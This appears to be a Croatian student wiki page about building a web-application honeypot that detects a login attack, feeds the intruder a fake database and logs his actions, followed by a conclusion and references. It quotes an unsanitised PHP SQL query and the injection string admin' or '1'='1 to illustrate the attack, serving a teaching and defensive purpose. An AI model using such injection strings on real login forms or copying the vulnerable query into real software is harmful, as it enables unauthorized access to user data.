--Ivzganjer 22:48, 20. siječnja 2013. (CET)
Izrada vlastitog Webapp honeypota
U sklopu rada, odlučili smo i da ćemo izgraditi naš vlastiti honeypot. Sve datoteke dostupne su na githubu
Cilj aplikacije jest prikazati osnovne principe honeypota.
Zbog jednostavnosti, korisnici su prije uneseni u bazu podataka te je na početnoj stranici aplikacije moguće samo izvršiti prijavu.
Ukoliko imamo korisnički račun, lako se prijavljujemo i dobijemo popis korisnika. Primijetimo da neki korisnici mogu imati i administratorska prava. CC data u ovom slučaju prestavlja neke povjerljive informacije, poput podataka o kreditnoj kartici. Ovdje su ilustrativno u obliku broja, a pri ispisu se samo prikazuje "Yes" kod korisnika koji imaju unesen taj broj.
Kako bismo vidjeli osnovne mogućnosti, uvest ćemo u priču jednog zlikovca i vratit ćemo se na početnu stranicu.
Zlikovac je mogao vidjeti ranije spomenuti popis korisnika i zaključio da bi se isplatilo probati ući na korisnički račun 'admin', a mogao je i jednostavno pogađati da takav korisnički račun postoji. No s obzirom da ne zna lozinku, pokušat će se poslužiti SQL Injection metodom. Pretpostavit će da negdje pri provjeri podataka postoji linija koda:
mysql_query("SELECT * FROM users WHERE username = '$username' AND password = '$password'");
i bit će u pravu, jer nešto slično zaista postoji u kodu. Kako bi ušao na administratorski korisnički račun, nastojat će u polje "username" unijeti sljedeći niz znakova:
admin' or '1'='1
Time će gornji upit izgledati:
SELECT * FROM users WHERE username = 'admin' OR '1'='1' AND password = ' '
što kao rezultat vraća upravo redak s admin korisničkim računom.
Zlikovac će na taj način uspješno ući u administratorski korisnički račun. Međutim, ono što zlikovac ne zna jest da stvari baš i nisu onakve kakvima se čine. Premda je naizgled sve jednako kao i kad se pravi administrator prijavi (da, zaista su i tamo postavljene ove pomalo neobične opcije koje se vide u izborniku, no složeno je tako da pravi administrator tim podacima neće moći pristupiti), ono što zlikovac zapravo vidi jesu podaci iz lažne baze podataka. Naša je aplikacija uočila pokušaj provale i umjesto prave, podemtnula je zlikovcu bazu podataka u kojoj su svi podaci osim korisničkih imena lažni.
Osim nekih povjerljivih podataka prikazanih na slici, istu stvar zlikovac može pokušati dobiti i s lozinkama, pri čemu će mu se pokazati hashevi lozinki (jasno, čak ni za ovakav primjer nećemo lozinke spremati u običnom tekstualnom formatu). Naravno, riječ je zapravo o lažnim lozinkama, prave su i dalje na sigurnom u pravoj bazi.
Nakon što zlikovac zadovoljno završi svoj posao, nije ni svjestan ostavljenih tragova. U našem slučaju, sve smo njegove akcije zabilježili u .csv datoteku iz koje možemo pročitati kada je on to učinio, s koje adrese, s kojim preglednikom, na kojoj stranici, što je upisivao, indikator o tome je li riječ o vanjskoj provali ili je neki od registriranih korisnika pokušao učiniti nešto nedozvoljeno... Time ne samo da nam se možda posreći pa da uhvatimo zlikovca, nego dobivamo i informacije o metodama koje je on koristio, što nam može u budućnosti biti od velike koristi. Ukratko, možemo zapisivati gotovo sve što poželimo, naravno u okviru onih podataka kojima imamo pristup. Primjer s nekoliko zapisa više nalazi se zajedno sa kodom na githubu.
--Franjo Kovačić 22:32, 20. siječnja 2013. (CET)
Zaključak
Proučavajući spomenutu temu seminarskog rada uočili smo mnoge prednosti koje primjena honeypota ima za krajnjeg korisnika, ali i za veće sustave. Iako smo na jednom od prethodnih predavanja upoznati sa činjenicom da će se sami pokušaj pronalaženja slabosti određenih sustava kažnjavati novčano i zatvorskom kaznom, smatramo da je potrebno imati jedan vid obrambenog mehanizma i način kako pratiti i uhvatiti u zamku napadača. Ono što može predstavljati dodatan motiv i satisfakciju je činjenica da u biti mi na svojim web stranicama pratimo napadača, proučavamo svaki njegov korak i znamo što će sljedeće učiniti, a on nije ni svjestan toga i smatra da je uspio u svojemu naumu. Veliku većinu materijala sa dodatnim opisima smo pronašli na CERT-ovim stranicama, a dio koji bismo svakako preporučili vezan je uz područje alata koji se mogu skinuti i primjenjivati (uz dodatno obrazloženje) te je dostupan na sljedećem linku CERT alati
--Dario.ljevak 18:25, 20. siječnja 2013. (CET)
Literatura
1. Honeypot – zamke na Internetu, dostupno na - http://www.cert.hr/sites/default/files/NCERT-PUBDOC-2012-07-337.pdf
2. Računala, mamci i ponašanje napadača - http://www.cert.hr/sites/default/files/CCERT-PUBDOC-2008-09-241.pdf
3. http://nepenthes.carnivore.it/
4. http://sourceforge.net/projects/honeytrap/
5. http://dionaea.carnivore.it/
6. https://github.com/buffer/thug